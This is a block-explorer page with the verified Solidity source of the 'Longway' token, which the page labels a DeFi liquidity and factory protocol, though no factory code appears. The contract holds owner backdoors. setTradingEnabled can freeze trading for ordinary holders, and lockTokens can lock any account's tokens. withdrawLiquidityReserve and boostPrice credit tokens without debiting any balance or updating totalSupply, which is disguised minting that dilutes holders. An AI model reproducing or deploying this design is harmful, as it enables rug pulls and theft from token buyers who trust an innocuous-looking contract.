Longway

Description:

Decentralized Finance (DeFi) protocol contract providing Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/Longway.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20Minimal {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract Longway {
    string public constant name = "The Longway Strategy";
    string public constant symbol = "LONGWAY";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    address public owner;
    address public treasury;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => bool) public isExemptProjectAccount;
    mapping(address => bool) public isRewardManager;
    mapping(address => bool) public isMarketMaker;
    mapping(address => uint256) public lockedBalance;
    mapping(address => uint256) public lockExpiry;

    bool public tradingEnabled = true;
    uint256 public liquidityReserve;
    mapping(address => uint256) public stakedBalance;

    mapping(address => uint256) public nonces;
    bytes32 public immutable DOMAIN_SEPARATOR;
    bytes32 public constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    uint256 private unlocked = 1;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed ownerA, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event OwnershipRenounced(address indexed previousOwner);
    event TreasurySet(address indexed treasury);
    event LiquidityReserveUpdated(uint256 newReserve);
    event MarketBoost(address indexed executor, uint256 amount, address indexed to);
    event ExemptionUpdated(address indexed account, bool exempt);
    event RewardPaid(address indexed to, uint256 amount);
    event Staked(address indexed who, uint256 amount);
    event Unstaked(address indexed who, uint256 amount);
    event TokensLocked(address indexed account, uint256 amount, uint256 expiry);
    event RewardManagerSet(address indexed who, bool ok);

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }
    modifier onlyRewardManagerOrOwner() {
        require(isRewardManager[msg.sender] || msg.sender == owner, "not reward mgr/owner");
        _;
    }
    modifier lock() {
        require(unlocked == 1, "reentrant");
        unlocked = 0;
        _;
        unlocked = 1;
    }

    constructor(address _treasury) {
        require(_treasury != address(0), "treasury zero");
        owner = msg.sender;
        treasury = _treasury;

        uint256 _supply = 1_000_000_000 * 10**uint256(decimals);
        totalSupply = _supply;
        balanceOf[_treasury] = _supply;
        emit Transfer(address(0), _treasury, _supply);

        isExemptProjectAccount[_treasury] = true;
        isExemptProjectAccount[msg.sender] = true;

        uint256 chainId;
        assembly { chainId := chainid() }
        DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)),
                keccak256(bytes("1")),
                chainId,
                address(this)
            )
        );

        emit TreasurySet(_treasury);
    }

    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function permit(address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
        require(block.timestamp <= deadline, "permit expired");
        bytes32 digest = keccak256(
            abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR,
                keccak256(abi.encode(PERMIT_TYPEHASH, owner_, spender, value, nonces[owner_]++, deadline))
            )
        );
        address recovered = ecrecover(digest, v, r, s);
        require(recovered != address(0) && recovered == owner_, "invalid permit");
        allowance[owner_][spender] = value;
        emit Approval(owner_, spender, value);
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        require(a >= amount, "allowance low");
        if (a != type(uint256).max) {
            allowance[from][msg.sender] = a - amount;
            emit Approval(from, msg.sender, allowance[from][msg.sender]);
        }
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal lock {
        require(to != address(0), "zero to");
        require(balanceOf[from] >= amount, "balance low");
        if (!(isExemptProjectAccount[from] || isExemptProjectAccount[to])) {
            require(tradingEnabled, "trading disabled");
        }
        if (lockExpiry[from] > block.timestamp && !isExemptProjectAccount[from]) {
            require(balanceOf[from] - amount >= lockedBalance[from], "tokens locked");
        }
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
    }

    function depositLiquidityReserve(uint256 amount) external onlyOwner {
        require(balanceOf[msg.sender] >= amount, "insufficient balance");
        balanceOf[msg.sender] -= amount;
        balanceOf[address(this)] += amount;
        liquidityReserve += amount;
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function withdrawLiquidityReserve(uint256 amount, address to) external onlyOwner {
        require(to != address(0), "zero");
        require(liquidityReserve >= amount, "low reserve");
        liquidityReserve -= amount;
        balanceOf[to] += amount;
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function boostPrice(uint256 amount, address to) external {
        require(isMarketMaker[msg.sender] || isExemptProjectAccount[msg.sender] || msg.sender == owner, "not allowed");
        require(to != address(0), "zero");
        require(liquidityReserve >= amount, "low reserve");
        liquidityReserve -= amount;
        balanceOf[to] += amount;
        emit MarketBoost(msg.sender, amount, to);
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function stake(uint256 amount) external {
        require(balanceOf[msg.sender] >= amount, "balance low");
        balanceOf[msg.sender] -= amount;
        stakedBalance[msg.sender] += amount;
        emit Staked(msg.sender, amount);
    }

    function unstake(uint256 amount) external {
        require(stakedBalance[msg.sender] >= amount, "not staked");
        require(block.timestamp >= lockExpiry[msg.sender], "stake locked");
        stakedBalance[msg.sender] -= amount;
        balanceOf[msg.sender] += amount;
        emit Unstaked(msg.sender, amount);
    }

    function lockTokens(address account, uint256 amount, uint256 duration) external onlyOwner {
        require(balanceOf[account] >= amount, "insufficient");
        lockedBalance[account] += amount;
        lockExpiry[account] = block.timestamp + duration;
        emit TokensLocked(account, amount, lockExpiry[account]);
    }

    function autoReward(address to, uint256 amount) external onlyRewardManagerOrOwner {
        require(balanceOf[treasury] >= amount, "treasury low");
        balanceOf[treasury] -= amount;
        balanceOf[to] += amount;
        emit RewardPaid(to, amount);
    }

    function setRewardManager(address who, bool ok) external onlyOwner {
        isRewardManager[who] = ok;
        emit RewardManagerSet(who, ok);
    }

    function setMarketMaker(address mm, bool ok) external onlyOwner {
        isMarketMaker[mm] = ok;
    }

    function setExemptProjectAccount(address acct, bool ok) external onlyOwner {
        isExemptProjectAccount[acct] = ok;
        emit ExemptionUpdated(acct, ok);
    }

    function setTradingEnabled(bool ok) external onlyOwner {
        tradingEnabled = ok;
    }

    function setTreasury(address t) external onlyOwner {
        require(t != address(0), "zero");
        treasury = t;
        isExemptProjectAccount[t] = true;
        emit TreasurySet(t);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "zero");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        isExemptProjectAccount[newOwner] = true;
    }

    function renounceOwnership() external onlyOwner {
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function rescueERC20(address token, address to, uint256 amount) external onlyOwner {
        require(to != address(0), "zero");
        bytes memory data = abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, amount);
        (bool success, bytes memory ret) = token.call(data);
        require(success && (ret.length == 0 || abi.decode(ret, (bool))), "transfer failed");
    }

    function withdrawETH(address to, uint256 amount) external onlyOwner {
        require(to != address(0), "zero");
        (bool ok,) = payable(to).call{value: amount}("");
        require(ok, "eth fail");
    }

    receive() external payable {}
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, DeFi, Liquidity, Factory|addr:0xf669f1fda416998e5151e5315ba41116be1c09f2|verified:true|block:23407357|tx:0x2b72468742c85b8c49e2a76898db4b23f01e36592a89154637255a8220ea65bc|first_check:1758423306

Submitted on: 2025-09-21 04:55:06

Comments

Log in to comment.

No comments yet.